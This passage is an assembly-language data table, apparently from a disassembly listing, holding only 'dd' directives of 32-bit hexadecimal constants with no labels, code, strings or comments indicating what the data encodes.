		dd 3110ADBh, 847CB423h,	0BE2FB614h, 1D1F1084h, 29E0153Ah
		dd 31932C7Fh, 23198EA0h, 0AEACE109h, 0AD542077h, 1425F4B7h
		dd 80568409h, 19920F00h, 0DBACE2CEh, 7CA29DFh, 0D4123CECh
		dd 9CFF4C21h, 0D81EDC53h, 3138C06h, 0A5055C22h,	9820AD07h
		dd 4A7744BDh, 0B4B1BC2Ah, 0C8590902h, 801E57D3h, 4DE315EAh
		dd 0B180C632h, 824438BFh, 57642293h, 0F725C812h, 48007825h
		dd 0D3945B19h, 9E991806h, 0B659295Ah, 4AA12C67h, 2FB371A0h
		dd 0F0A867E1h, 9020E90Ch, 37CC0192h, 0AD65D401h, 9ADD94A3h
		dd 0C081B2FDh, 0DBA1C286h, 0E1150121h, 4B097980h, 4F857188h
		dd 6D477A03h, 0E0CEB36Ah, 7FA8F722h, 82FE3087h,	0FC14CC81h
		dd 40F12600h, 963B757Eh, 9A2F124Fh, 2B582192h, 94CEE5B7h
		dd 165C64F8h, 181DF19Eh, 780C5656h, 0F7E13187h,	1A003832h
		dd 93E4ABCh, 21D03708h,	0A2D803E4h, 3EB1ACE3h, 0A03A2E29h
		dd 80B89A2Ch, 58F41F81h, 71D07888h, 0DDE161C2h,	0C940023Eh
		dd 0A1B317h, 2FCC9654h,	0F3E5F50Fh, 0FDA8E704h,	1C90BB13h
		dd 9427216h, 805CE4B1h,	0FE922C01h, 0A066CD98h,	12F8DCA9h
		dd 0D4D1E188h, 772224F9h, 95272003h, 0D8C37873h, 0F062C8h
		dd 0ED0C9BE7h, 994023A1h, 5B261CF8h, 5A1D4432h,	48C0EB1Eh
		dd 23B6CD01h, 0FC210806h, 2D0717E4h, 4F0FC9AEh,	0B08B8055h
		dd 0E6612B30h, 0BADE05EAh, 7BE7024h, 32AB7658h,	0C8A5374Eh
		dd 39F83097h, 8E01B357h, 77B2CC9Eh, 0F5C43E11h,	7F973F65h
		dd 8459BD95h, 3FC50C00h, 427D9891h, 0A1D13300h,	8BF8CB88h
		dd 556433ABh, 783AC829h, 1E3D87B4h, 1FC7B2A1h, 88A8A5D1h
		dd 89090C60h, 47D960C1h, 6A7C9E01h, 335F6ED2h, 484D5820h
		dd 9F211829h, 0E3269404h, 0E488D0C4h, 549678B3h, 0B09B089Eh
		dd 0D97FCC0h, 7FBC9F4h,	0E2952069h, 340B7200h, 981FDCA3h
		dd 375F00A0h, 8D4A87ABh, 0B302354Dh, 75805D6Bh,	0D4C080B5h
		dd 0ACBC0Eh, 344D9441h,	355BE3B3h, 2CB55824h, 20E63242h
		dd 0B413EA46h, 82B860B5h, 457759Ch, 0F889FC48h,	0A1BC8295h
		dd 302D54E1h, 0B9C21D3Ch, 4825F50Bh, 0F8ACCD64h, 0F0720231h
		dd 8DD76B23h, 0C9B469C0h, 6CD41200h, 2010EC19h,	0D4B924h
		dd 0D1EE0B90h, 9F00EDC5h, 5C913ABBh, 240360A3h,	6A8C1E2Fh
		dd 0E5BC0854h, 355FBB84h, 0F06A5907h, 0A9525E9Fh, 5B090A03h
		dd 89582EB5h, 0DAFC3318h, 0CA0B048Ah, 977BAF25h, 30202DC4h
		dd 207AD544h, 109AE89h,	0E3A96CE4h, 9B9AB018h, 18C01639h
		dd 29E215E6h, 0C100BD69h, 0CFE7D218h, 1C3BEB08h, 80240A27h
		dd 0B769EE12h, 85730EACh, 43AD182Dh, 281AE982h,	0CBA04442h
		dd 77A8C040h, 4D6E3817h, 34C66F95h, 5695900h, 0F2C820B8h
		dd 2B847800h, 718D9219h, 0E6DF02AFh, 2C475380h,	80D61C61h
		dd 0B2C64AC9h, 54BD5C2Fh, 3A398B0h, 0ECAC376h, 6EE36A9Ah
		dd 5E24D909h, 62C09249h, 0CC8C10A4h, 5BA31F1Bh,	0F5BB9F97h
		dd 0D1FC9820h, 0DFF85F00h, 2B60C3CAh, 9619C234h, 9846A91Fh
		dd 805C763Ch, 8DFDDC6Fh, 4E4559Eh, 4489B231h, 82B0890Fh
		dd 0DAE19B10h, 0AB24821Eh, 2A94469Dh, 9988EFBh,	51807538h
		dd 95AC8580h, 7800AAFFh, 4506E11Eh, 49C10926h, 0C2221813h
		dd 8B298A00h, 0F7F5A8AAh, 7BA2139Ch, 25E0004Ch,	0D951B9C1h
		dd 0DF4450BAh, 0E623221Ah, 478E1B00h, 8BDE3074h, 8AB800FBh
		dd 70E6EF6Fh, 850B1DAEh, 10230AC9h, 2A371F4h, 0AF0DD643h
		dd 58421297h, 5050C46h,	9A2ECF1Dh, 0C90EAC4h, 0A05B9C27h
		dd 0FCBC89F4h, 5A6C0071h, 0F793C9BEh, 950A87DAh, 0D0D7E112h
		dd 4423B740h, 0E3B40142h, 3B7AFA34h, 75FCF011h,	467D69C0h
		dd 226C1A8h, 0ACC4D6A9h, 0D082CD8Eh, 10602BB8h,	2518D34Fh
		dd 0EB91311h, 86A12AF5h, 14F4B2C0h, 0C49A98F8h,	0AB6A25C0h
		dd 44982BB2h, 44958800h, 0D7BA650Ch, 299D60BCh,	380AFAC8h
		dd 68423400h, 5E815FD3h, 6E50FDBh, 964275CDh, 0DE40874Dh
		dd 80948899h, 9DC8504Fh, 2E209F64h, 0EA582796h,	389A2868h
		dd 770756F4h, 69B5B350h, 330593D1h, 1028E1CEh, 0B04C6470h
		dd 94444C0h, 0DD8F652h,	193530E1h, 2CBD9886h, 0C8997937h
		dd 80F3CCC3h, 91F4ABh, 6A3E09AFh, 66BA62EEh, 31A28301h
		dd 36231E11h, 726D7470h, 84FE581Fh, 907C4680h, 0E8E5258Dh
		dd 73F2A64h, 6E270081h,	7DC03BB4h, 4D9505F9h, 12DD70B8h
		dd 460207Ch, 8914CD0Eh,	809CBCC3h, 6E55C8F9h, 0D70600A6h
		dd 6CAFB0FDh, 0A490798Ah, 0F4E1D128h, 0D0E81D45h, 9F4D02C8h
		dd 649A1FD2h, 24154444h, 188CADFCh, 8D311B15h, 2CB900E7h
		dd 1972B0F5h, 9B295B9Dh, 1E118C91h, 800F5E7Dh, 646B5D09h
		dd 1D703B01h, 9D591E99h, 88056441h, 0E1D01C21h,	51C99A8h
		dd 0B3540E4h, 988399D8h, 0DAB0AD49h, 0E122D95h,	2095DD73h
		dd 9D55EC08h, 0E98B4211h, 407FADC2h, 521318Dh, 9257385h
		dd 31C8AE3h, 33FDCE9Ch,	6D4A88Eh, 0BDDD02C0h, 8876ACA3h
		dd 0D621A8E1h, 15C0448h, 2E2EC83Ah, 2A00E032h, 42A15B66h
		dd 0B449114h, 0F004A668h, 0FCC852A9h, 75ABB064h, 49EB027Ah
		dd 0B5D5201Fh, 11A05B60h, 70A7432Eh, 0A4888C12h, 8820441Ah
		dd 1F814A1Eh, 58FBB2C6h, 8153371h, 0CE884521h, 1305A719h
		dd 9B946FFFh, 0B3D99C81h, 4C932C4h, 0E3B14C1Bh,	60D8C9D5h
		dd 1324D770h, 0B43AECFAh, 883A91Ch, 1FCF00Dh, 0ED4F2409h
		dd 34930480h, 0ABA2042Dh, 0B3400024h, 65DA70CFh, 0F102BF02h
		dd 0C1879ABCh, 0E834AE76h, 20892471h, 3ACF08ACh, 499DFE0Ch
		dd 0C3673F51h, 0D18068BCh, 0CB400947h, 57BDC10h, 0E1998613h
		dd 0E36A7C01h, 0C1852430h, 22050409h, 0B20B1E8h, 520AF4Bh
		dd 9BAB5869h, 1FE8CCB3h, 22E6A10Eh, 9E1E525Ch, 0A0A7900Ch
		dd 49D44EE1h, 6410FF00h, 2A03C685h, 95822C2Dh, 2F73E0D4h
		dd 4F5A0A8Ch, 8D87554h,	968436AAh, 0C7401A15h, 7FBDA539h
		dd 5AE5CE00h, 3155416Ah, 9833h,	943DB630h, 262ADE1Fh, 7C23134Fh
		dd 0F9B100C3h, 766A19E9h, 0BD00D60Ah, 29CE3B04h, 1D81A79Dh
		dd 244DE2Eh, 4D203837h,	32007051h, 0DEDC158Dh, 0EAAF0028h
		dd 13416D22h, 0AB116E30h, 7604569Eh, 82D01875h,	0E3113928h
		dd 70F54811h, 0F900DF02h, 95720253h, 1C3C156Ch,	0C061B575h
		dd 0A41E2E60h, 54C9026h, 847B0025h, 40325144h, 48373E01h
		dd 2F450900h, 75713443h, 80526528h, 1B20BF09h, 8A940594h
		dd 0B482D024h, 0CA6483BCh, 0A3129078h, 188C0765h, 29AEB42h
		dd 0C61B93Fh, 13A460ACh, 3444890h, 1349019h, 0E8328758h
		dd 0F88E77DDh, 5B7B0A94h, 8841894Eh, 0FB5DC14Ah, 3D0F0039h
		dd 0E880142Dh
		dd 0E04FBF10h, 2EB53400h, 0A258CCABh, 0B43C2512h, 0D4003C1Ch
		dd 0CAABB28Bh, 3C4717B3h, 683FB02h, 15486F5Bh, 24C423BAh
		dd 8E07E900h, 0BCB54DE8h, 4C4E3EF3h, 640221BDh,	0BAFF7DE6h
		dd 3D736464h, 13C3009h,	0A2B38E89h, 0E4CB244Ah,	435E4464h
		dd 0B2F69D00h, 31749153h, 0B1D400FBh, 0A1B48D92h, 9162C0Eh
		dd 0C4C89807h, 0DB9F046Eh, 402D26FAh, 0D56C271Bh, 0EB793F87h
		dd 5C80C738h, 3FCAEA89h, 0E026FF80h, 0F64E64D7h, 9D649C90h
		dd 0E6F0972h, 300151C4h, 24D2F592h, 0BE27FCA4h,	0E29FC3Ch
		dd 0AC2EFF6Dh, 27F8DB21h, 75A5E0B6h, 812E881Fh,	83980A94h
		dd 1AAFEC8h, 46063561h,	70C07159h, 6E789AD8h, 0E6C1CB07h
		dd 122FA42h, 0DB40E0C7h, 4D2903B2h, 464E1495h, 0D4607BC2h
		dd 309173BDh, 5C21FB13h, 72E86ADAh, 33370083h, 0B65223B2h
		dd 7767CB8h, 0DBAD5E00h, 0E7C8C5FBh, 693100B3h,	55DD709h
		dd 9610C70Bh, 2A071922h, 220E113Dh, 6E7860F1h, 22DCC94Ch
		dd 0CD0A1313h, 0A4441F8Bh, 0EB32C174h, 0B364206Bh, 0D1EE4407h
		dd 0F8993B8h, 0C3332094h, 0F1CC9CDBh, 889D5C20h, 57258793h
		dd 5ECC3035h, 397E0792h, 0E031307Dh, 5BE0125Ch,	0C7E83548h
		dd 1DC06053h, 1C7C0C32h, 40EBC5D7h, 0E1C25A22h,	0C72F089Bh
		dd 0CCBC20FBh, 3E1FF46Ah, 176926Bh, 976290B0h, 783BC1D3h
		dd 0DAA580D0h, 55C50Dh,	5FA8642h, 82D1D977h, 2E89C8FDh
		dd 2A93E125h, 682644E0h, 96B2414Eh, 6825BE19h, 14B3F840h
		dd 0C8BB4CFDh, 0D600215Bh, 4FF02A1Ah, 0A5CF00B6h, 57375C1Fh
		dd 0DB05F0FDh, 0E9209751h, 23D483h, 72D3A669h, 0E0A919C6h
		dd 107FB800h, 0AFA836F4h, 678A0087h, 2E5B5F1Fh,	0AC269B18h
		dd 95815CA7h, 94458819h, 3AE98860h, 0DF344D30h,	0AE98D189h
		dd 35E2D35Eh, 14649C62h, 0EE455200h, 4433D84h, 2C3F68Eh
		dd 2278254Dh, 9CE6971Ah, 0B49BA200h, 53490C62h,	584408E4h
		dd 0F7812CA0h, 8674B2ADh, 206403Dh, 181F64CDh, 90AB8F2Dh
		dd 92C24A0h, 0A158BA1Eh, 15A18444h, 80EDF92Fh, 0FE10F771h
		dd 70799465h, 189FC33h,	11A14493h, 0F0C6CC76h, 20B15ACBh
		dd 8D471287h, 0DD0E2A0h, 36E4010Ch, 0B3B00EAEh,	2A698022h
		dd 5FC9258h, 3340B07Eh,	1219F024h, 23C4A0C7h, 347C78C7h
		dd 0B5EA9F03h, 0A3FE156Fh, 0F496F114h, 495DD884h, 44E8A20Ch
		dd 0D9170564h, 88901A96h, 0E4932F4Ah, 26340169h, 58D7C794h
		dd 0B018559Fh, 7CA0157Ch, 50000876h, 637D6953h,	21C6B4h
		dd 25929C5Dh, 0CC1CFC41h, 0A1D0F909h, 132CE129h, 108A4442h
		dd 92733C19h, 0BF42C5Ch, 6917D4A2h, 0FB125E78h,	530F10FAh
		dd 81817237h, 0B55B782Dh, 0C173863h, 0ECB020F5h, 0B201AA6Bh
		dd 64BF87DFh, 548365C6h, 0ACE12419h, 984486CAh,	92000842h
		dd 1457542Dh, 26ED38AEh, 77B10040h, 0B369EAB5h,	0CF7C0065h
		dd 0A6C4683Fh, 14A8535Eh, 0C1001AB4h, 0B7134803h, 0BE73D0Eh
		dd 2D623A20h, 0A46040C4h, 37ED2F81h, 5E974C2Bh,	5CBAD43Ah
		dd 0E2BD2860h, 968898ACh, 21D302A8h, 0E395AB42h, 0B3338140h
		dd 0E253902Ch, 0C501BC2Ch, 0E415F6B2h, 409BD19Fh, 5B567385h
		dd 0F02AEC7h, 31A39722h, 0F814D861h, 93148489h,	93B8869Bh
		dd 0BC734D0h, 0FDB1F9Eh, 87A680F3h, 0AA8660CFh,	31F6F82Fh
		dd 9C34FE28h, 97260F36h, 0A7E45260h, 2EFFC08Fh,	2104A076h
		dd 0FB1DE2D7h, 1EC604A4h, 7BF17Ch, 0D90EF699h, 6D00AE29h
		dd 0C9F44D43h, 0FEA7298h, 0B7AD2B53h, 0BA092642h, 0BCB49C78h
		dd 61C1CC47h, 0B878D50Fh, 0B1EDF84h, 0CD804815h, 59C60070h
		dd 5B43B27Dh, 6B38F540h, 39C9632Fh, 0CA60224Ch,	64D9E125h
		dd 130A21A4h, 0BCCC0184h, 1B1C00A9h, 0BA0B037Bh, 0AA0E752h
		dd 280069DAh, 0FAA91B1h, 4EA24C62h, 0A4882164h,	702F0277h
		dd 0F5082FE8h, 28D93091h, 8018A094h, 0AE991C14h, 6DAC405Fh
		dd 0BED33522h, 193A31Fh, 0D0ADE185h, 80AA1C08h,	4C1392E6h
		dd 940002F9h, 8BECFB49h, 28019DBh, 9625B9F3h, 2CE16F27h
		dd 11402D42h, 93168EB3h, 0CE68979Fh, 80C3ACAh, 0A142849Ch
		dd 18642B76h, 3F308003h, 804E240Eh, 2F13727h, 4A1CFBDFh
		dd 0E8F2BC18h, 95122F20h, 49893086h, 0B67D6301h, 0CD10DE70h
		dd 0A3E8E0D4h, 7314A2ECh, 6A90094h, 3D50799Fh, 757F8617h
		dd 89BDFC88h, 0D03DFFh,	8CF3D774h, 199550Bh, 53311137h
		dd 699C9A2Eh, 93C80BC8h, 0A688643Bh, 3D910958h,	0CE00686Eh
		dd 6F8F2EC8h, 69746701h, 5E834C81h, 95766860h, 1FDA5C03h
		dd 38968100h, 0BA942A2Ch, 1B2B01BBh, 0B42795AAh, 11083022h
		dd 8163491h, 869F58CCh,	6D98D351h, 96051EFCh, 0E35C0642h
		dd 35E87292h, 259CEB9Ch, 75C0E2E0h, 0AB813D03h,	9032F435h
		dd 0BCB2587Ch, 5042C4FCh, 37422F4h, 6A8DCC4Ah, 58E1E4EBh
		dd 963C3007h, 0CDA5AD00h, 714655C1h, 0F837046Eh, 0F41025B2h
		dd 0D55BE14Ch, 214D5020h, 0F078F92Fh, 0A010BB89h, 30089C0h
		dd 0B24757CDh, 586E79DCh, 0AC004785h, 539E5056h, 0CE5A37B5h
		dd 92DA900Bh, 5F40E118h, 0C81C6610h, 3E0027B8h,	23329A7Dh
		dd 0BCCD7BE8h, 0B6580BF8h, 0FA333C18h, 6E2CA095h, 0AFB0F2h
		dd 18C761ABh, 0BD87FEBBh, 4E61C4BCh, 9AD9E801h,	0B1D1FF4h
		dd 24D2C07Ch, 333C7C00h, 0E9004C4Bh, 870EA62Dh,	7DAB306Dh
		dd 0B9FE0014h, 0A4367CC9h, 0E5777DF6h, 0C6077FE6h, 80BFD8B3h
		dd 604B583Ch, 2FA60808h, 0BB385D8Bh, 0F1F40057h, 0BDE9E41Eh
		dd 57000E5h, 0B0CB5C15h, 0E001018Ah, 0BBD3DBD7h, 498EA30Ah
		dd 0B2A37A9Bh, 10030644h, 30D75C71h, 0D2BBDBA6h, 603884AAh
		dd 9DEC4140h, 3D0C8773h, 0C94D4E67h, 95930B26h,	8380B9C7h
		dd 6B198322h, 9D36003h,	81B3FFB8h, 0E9C80821h, 0ABAD0CF5h
		dd 7C683FBCh, 5AF14700h, 4BEBC138h, 501D034Fh, 4C5E49B3h
		dd 0CFA6991Ch, 70C12C9Dh, 0BB4EB141h, 633D40FEh, 944F021Eh
		dd 17517948h, 6E2578AFh, 0C750004Ch, 1570B21Eh,	4AE4B100h
		dd 4F638DBBh, 0A7892CB8h, 443F035Ch, 0E2B062BEh, 3C3008D7h
		dd 96E8A085h, 89D36523h, 4B9020ABh, 5800DE1Ch, 0BE0DF84Ch
		dd 2BECE5h, 0B364C716h,	72CC4602h, 0E9D08931h, 0BC5C07BBh
		dd 5182451Dh, 0FCC9EB14h, 0A96727D2h, 77002329h, 12059EDh
		dd 4C31F8C6h, 0D0ADF45Fh, 1C006449h, 9FFFD325h,	48D74E7Dh
		dd 0BC0030C7h, 5FDE84CDh, 0D90FA32Dh, 1FB29F08h, 4CD83086h
		dd 0CEAB3040h, 698EE199h, 0FB76E00h, 23771D1Eh,	0B1D3157Ah
		dd 3C16809Ch, 0D5CE0011h, 0E376494Ah, 0C1147A00h, 412F4868h
		dd 8C60309h, 8AC4B923h,	0AAC186D3h, 0E09450D1h,	5C00F29Dh
		dd 0D2B8FCCDh, 4CC4E34Fh, 2063ADAAh, 697FA0B1h,	17AC4000h
		dd 15B69B80h, 43263910h, 0DC9C4D8Ah, 0AED486C0h, 1C0D3186h
		dd 0C9E14669h, 1525E0h,	0D4888494h, 740BBB01h, 0A116091h
		dd 7D8F2E3Bh, 98C08124h, 0B067DF0Eh, 5B5A7F02h,	84D4728Ch
		dd 0D0884CA4h, 774DB81Bh, 577324h, 1CDC8FEBh, 9790480Fh
		dd 2D265F03h, 0B4B28h, 0CE496361h, 6D450AA4h, 908A6200h
		dd 0E15F9EAEh, 87710A79h, 84BC3E7Eh, 885D691Bh,	0BC91E658h
		dd 0A58C14A9h, 7CC315Ch, 0BBDC9FF8h, 20DD6612h,	3D98C601h
		dd 0B1570AB8h, 7EC8C48h, 3A8A19FBh, 832F75E5h, 0A1006135h
		dd 0CADDFF01h, 0F46D86Ch, 164A5CC5h, 76540981h,	4D4080A5h
		dd 2B173A5Eh, 1F260774h
		dd 0DF6242A8h, 0CCC2EB60h, 34E92566h, 41678718h, 0A796B1A1h
		dd 0F6393840h, 0B5D43A0Eh, 40AD0E33h, 3F6516A0h, 7301CB6Fh
		dd 0AFA9F1F7h, 99920EF4h, 59430ABh, 0BD009498h,	0B15F9C31h
		dd 5884C68Ah, 0C401560Fh, 0AAC327B0h, 0BB79858Ch, 0F4227C15h
		dd 53DD2072h, 0AB7CD6B3h, 0F1FB8803h, 0D0B64794h, 3503E2F2h
		dd 4715A49h, 230B29F0h,	0F71900CFh, 0B361F062h,	1D0D609Ch
		dd 919FEB04h, 108CCC02h, 9900C4A8h, 7967C149h, 94C7F33h
		dd 28234678h, 10BAB819h, 0EB3E3Dh, 850D9369h, 0B70E7D73h
		dd 230F1EFCh, 0BBAE2DA2h, 136D8099h, 0B1D900A1h, 96498953h
		dd 511209D0h, 50406A48h, 320BD858h, 910892C3h, 28768050h
		dd 576D7BEEh, 73C73D07h, 8AB0AA0Eh, 3EF14FFh, 0DA176F5Dh
		dd 40F5262Ch, 5B8260A0h, 7EEA49DFh, 0BB07CD00h,	410AE6D0h
		dd 420B14DEh, 0C59090AAh, 6F736D00h, 547BE0C8h,	14900E7Ah
		dd 51ACBF30h, 0C0E78B71h, 0AF514891h, 0F804CDC6h, 79E50667h
		dd 0D748D9h, 0E4D78629h, 35AADEEBh, 4901FCE6h, 563A58ADh
		dd 9C304AF3h, 8430A1AEh, 0D1782019h, 42C25000h,	0AB875FACh
		dd 3D21C0D2h, 409DE626h, 75C55E00h, 0FEAF946h, 0E8AE40B1h
		dd 0CE096000h, 8857EDE3h, 107300BAh, 0E7BF41ADh, 3A1A6459h
		dd 8271444Dh, 1A7E998h,	514FF496h, 50BBABC8h, 0C1CB6790h
		dd 0FC19C701h, 0DD69A3E7h, 0D46D60C6h, 0E2FA019Ah, 0E0D66C81h
		dd 66A03028h, 50893E61h, 460822Fh, 704C887Dh, 2A1C2C00h
		dd 6C164528h, 156D01A9h, 7257F57Ah, 7B55E863h, 0D724A8A6h
		dd 443FFC91h, 7C752CB6h, 0B747000Bh, 414F7911h,	98D5BB00h
		dd 0C7D5804h, 67970464h, 0C24850E9h, 58E8865Ch,	0D00006C1h
		dd 7C1FB8C8h, 9098474Eh, 309C8443h, 0B6A99518h,	81006E5Ah
		dd 32A0830Ah, 0A51A5F2h, 0E6684B22h, 4887479Ch,	0A1DD188Ch
		dd 7EA400D4h, 31938499h, 690A6A9Bh, 0ACD82FAFh,	94AE7886h
		dd 0C9EA0139h, 0DDA051BEh, 3C64F28Ch, 78BAF00h,	0CD6F632Ch
		dd 303701ACh, 792F28BCh, 13B1D0BFh, 0E1785800h,	0D5176A67h
		dd 980917FCh, 710ECF0h,	3A4E47Fh, 40394162h, 186A7556h
		dd 3140DE77h, 3807E878h, 623E0A32h, 0CC3B1D30h,	5DAD00DAh
		dd 0EE94522Ch, 1A20C858h, 837500C1h, 8A0CF29Bh,	6A007456h
		dd 97340470h, 588B87FAh, 0C8335AFFh, 7382EA68h,	0EEB56920h
		dd 0ABF11864h, 98CA4818h, 0D0223A00h, 45C907Eh,	1A741889h
		dd 0AC3D69C0h, 24827200h, 0DEB88A37h, 9ACE0056h, 6F41C207h
		dd 0E3009899h, 0DB62CA72h, 6EDDA317h, 7FC7786Ah, 9B91105Bh
		dd 663FD318h, 191D80DAh, 3D08A5Ah, 54EFE241h, 20E088B0h
		dd 73007610h, 35885C53h, 40DD4Fh, 0F8D7BDA2h, 9438E1B9h
		dd 9124400h, 0BB7BBF7Dh, 71C96E80h, 0EC11FA80h,	0E611AE2h
		dd 7E98BBE1h, 0FD6E218Eh, 0F8CAD959h, 18180DEFh, 0C820C7FEh
		dd 917B0F32h, 87FE29B4h, 0CC5EE640h, 0EC601949h, 0E11F4D29h
		dd 0CE790021h, 3C823107h, 8B0E03F8h, 15199634h,	67C600BCh
		dd 0DBA480BCh, 988F016Ch, 9D4B5E18h, 0F80436Eh,	9CEA4090h
		dd 75547788h, 56E030E6h, 52F2F7B1h, 986D2900h, 6EE3FB26h
		dd 5ACB00DCh, 0E1594434h, 8305D0B4h, 6CBB7E86h,	78E0BC21h
		dd 682F850h, 70070035h,	0B8FF0DCCh, 0E35414B9h,	0AAA26494h
		dd 20198825h, 0CF72284h, 9EE9A700h, 405ACD2h, 78D0006Eh
		dd 773B3149h, 9307851Bh, 3692F36Bh, 0BA94A630h,	0B47F5282h
		dd 0C6FFF11h, 1981DD66h, 719F0069h, 76AFC3B3h, 0EC745840h
		dd 0D9411124h, 0B700B021h, 31202B67h, 4FF6008Ah, 0C442C1FBh
		dd 56038E4Eh, 1CA70213h, 1D6100BBh, 7A212CBCh, 0CD00AB8Bh
		dd 5D4A1650h, 18C5700Dh, 59EA1893h, 0E600141Fh,	25EAB44h
		dd 0D20BF7h, 0C6B40968h, 0EA46F09Bh, 6BCFD502h,	443C40CAh
		dd 0DC0F0EA0h, 644274FCh, 989183FAh, 9A218008h,	8C5289ABh
		dd 0F0E5E058h, 9B611373h, 545B00B0h, 84F85777h,	0C6CA39C4h
		dd 119CC6BBh, 0A9EA2B00h, 0AE14AB3Dh, 123A72D3h, 40199257h
		dd 496D6A3Ch, 53052D1Dh, 81BB7C0Ch, 0C06EF420h,	7449D4D2h
		dd 0B500C622h, 0F0C42691h, 3C154DF5h, 672E6A7h,	0E0B3A36Eh
		dd 7E00296Dh, 0D321A4AAh, 774FD56h, 6B1F8384h, 3D9D9079h
		dd 689964E1h, 36D81200h, 15AB53h, 41DF5CC0h, 0EA71B103h
		dd 0B54BF318h, 91EE4028h, 72E00C24h, 4F005C69h,	0E4F00E44h
		dd 67F5EAD1h, 81955971h, 0F472A975h, 4161DEECh,	1AA85B19h
		dd 0EC44BE4h, 7DDF816Fh, 8419D460h, 8D07AC69h, 6EFE337Ch
		dd 407E9170h, 9D8A439h,	364297FBh, 0A028C413h, 0D00A387Fh
		dd 0A07A62E0h, 808CF288h, 97A63BCAh, 0CC995D8Eh, 0C22D1180h
		dd 0ED7EDBh, 0DA358141h, 68669275h, 94A78407h, 0FE1257B6h
		dd 0A1D8AFA9h, 0BD1A7F6Bh, 3553598Eh, 0AF8ECFA0h, 410F7647h
		dd 0E9CAE58Bh, 837C91C6h, 0B3AF9450h, 5D5B00C5h, 0CDCE9E24h
		dd 1000EA30h, 31765299h, 0F5FC114h, 4DF4A7EDh, 6E393640h
		dd 86EC9A4Eh, 0FEA95B13h, 60E1600Ah, 0FDF07401h, 73FC220Ch
		dd 9057072Eh, 71FC6B98h, 0DB74DF17h, 481A2824h,	87B5BF40h
		dd 61B700FFh, 66C9C180h, 0F372FCBBh, 0C044BC90h, 0EDD001AEh
		dd 0FFB86A15h, 351F083h, 8FA1EC07h, 0DD442570h,	23E8C8h
		dd 0A3E0200Dh, 0C756535Dh, 55DF0600h, 0B1EB5ECCh, 88FA1F3Eh
		dd 0BBEE0978h, 14D1100Eh, 8FEC3740h, 0B7EE0410h, 0E04894D0h
		dd 0DAF9887Fh, 0BBE9A900h, 0E179BA15h, 4C41C043h, 9D229B9Eh
		dd 0C791510Fh, 74EEAB20h, 0B6E1205h, 5818023Ch,	21004FA1h
		dd 0B0FB80A0h, 45DC2A8h, 1BAC966Bh, 0BB2890C6h,	31C27A6Ah
		dd 6462FE6Eh, 54054408h, 0C4C78A02h, 0C02284DFh, 0E6FACFh
		dd 0F070010Ch, 35593325h, 2183BA15h, 1CB50C90h,	1B949B4h
		dd 1AB85EE4h, 700649C8h, 0A7580588h, 9FE10A58h,	0BCE0D86Eh
		dd 221E9Eh, 987BE018h, 0E50D7D23h, 0DAAE280h, 0B149EAD2h
		dd 0C17F6039h, 0BC1ADA18h, 0BE6841h, 193CF5Eh, 8F8459BDh
		dd 4CA4370Eh, 0B0E9F8DDh, 76F80040h, 85C7580Ch,	0A4000942h
		dd 80CFC593h, 0B8E13002h, 0BBF8A03Eh, 73C33083h, 2648F4D9h
		dd 0EA46B828h, 1FBCE149h, 66404ED5h, 0D2C6AA4Ah, 9868E8C4h
		dd 0E9FE2C04h, 1F242404h, 0A090A0B8h, 2B3FB22h,	6D349594h
		dd 48430DD9h, 4091882h,	0E6217F8Ch, 5069106Fh, 0EF7040C7h
		dd 0D8B42A29h, 0B56B6741h, 2220F4h, 0F397EA68h,	6401858Eh
		dd 93BCB81Eh, 0DD63C405h, 0F3C124C8h, 0A8CCCh, 0A29A5C73h
		dd 0D4FA0B1Dh, 4ED17000h, 0B6486C44h, 16509849h, 2A5FFC0h
		dd 0B54347D4h, 70FB4860h, 0C0621A81h, 8BEFA500h, 3F6D7439h
		dd 97EEBC0Bh, 0C9708856h, 0FDD9E43Dh, 0E600388Bh, 0DEA15F27h
		dd 0A800239Fh, 4FB2F721h, 1D4163D6h, 9094D7Fh, 0CCA1FF3Ch
		dd 2972ECEAh, 0BF351D08h, 3ABA95C0h, 9BDF5DCh, 0C9E6A9C7h
		dd 407BC884h, 0C17A1FC2h, 0DD091767h, 41342287h, 0FCDFAB20h
		dd 19C7914h, 0D17484E5h, 0E0181DF0h, 631F5A21h,	0E864E720h
		dd 74EA4438h, 83CC9946h, 0CA7FBF6Bh, 8E9627A1h,	439C3690h
		dd 0B094A942h, 34406A77h, 82C9FD38h, 8EC0F404h,	0D07A9399h
		dd 0C91AE513h, 5166184Ch, 71076019h, 0DD10581Ch, 1FF53100h
		dd 63D2FCB1h, 601E0CEFh, 3361356Fh, 0D84394A6h,	477A516h
		dd 232B3534h, 95D1F099h, 0A4550028h, 0EA2A82CCh, 447C50ACh
		dd 7F4F6B01h, 43C58B69h
		dd 0C058DDD0h, 0BC9870F1h, 0D4001CB3h, 9E6CAF55h, 3C30332h
		dd 0D8FC694Fh, 8022BD90h, 0EF402E78h, 37796148h, 806C4018h
		dd 9C003811h, 486DB4Ah,	0EA3A8272h, 285671BEh, 48F0CBEEh
		dd 1B801818h, 0C3E43A12h, 9D439F03h, 0F879F585h, 28F6DC97h
		dd 2AC3D2Ch, 92DA275Eh,	0A86678C7h, 340EA67Ah, 4064892Ah
		dd 757DD3E4h, 68FD2626h, 692860F8h, 640F741Ch, 60039C92h
		dd 365DABAAh, 32050EC6h, 47307DFh, 48719B68h, 0D97A80D3h
		dd 542E686Ch, 9CC3572Eh, 0E495BB43h, 887A3C88h,	4000ECEEh
		dd 537889E8h, 90369A74h, 0E86E5568h, 0A05A55C4h, 90626880h
		dd 98BBEE16h, 1150C34h,	65494CDFh, 0F77AC900h, 0A8FA7030h
		dd 0A5AF0069h, 9737DD62h, 0D100D408h, 27E783B9h, 0C7C1EA3h
		dd 7EF407CAh, 85043041h, 0D14AF7D3h, 0EA6FF490h, 6A4220F2h
		dd 100050B3h, 51A29607h, 0F18C0061h, 56932BE7h,	0F92564F0h
		dd 0E938A4FEh, 82D80143h, 0BA881E90h, 660FC6EAh, 0A24D55C5h
		dd 0E018708Ah, 3E2F0F8h, 3AB9F534h, 0B4DA92D3h,	67A0A068h
		dd 0FC560A00h, 61BD948Ah, 0E4637F0Fh, 0AE1928E2h, 391D26ABh
		dd 0F3A86094h, 6426F432h, 576EA4F5h, 2468F710h,	5D7894F0h
		dd 0F565140Bh, 6C84DCD1h, 1AE441C9h, 9430FBB7h,	98F1FC6Dh
		dd 13FFE53Ch, 5D7BAF21h, 3DCFC27Bh, 54C4F557h, 1381950h
		dd 21A18200h, 2E6DD791h, 95C80508h, 0CC51F7F1h,	0B03D6250h
		dd 0DA25024Bh, 60426AA2h, 3AFED42h, 73DCAA1Fh, 3BDAC575h
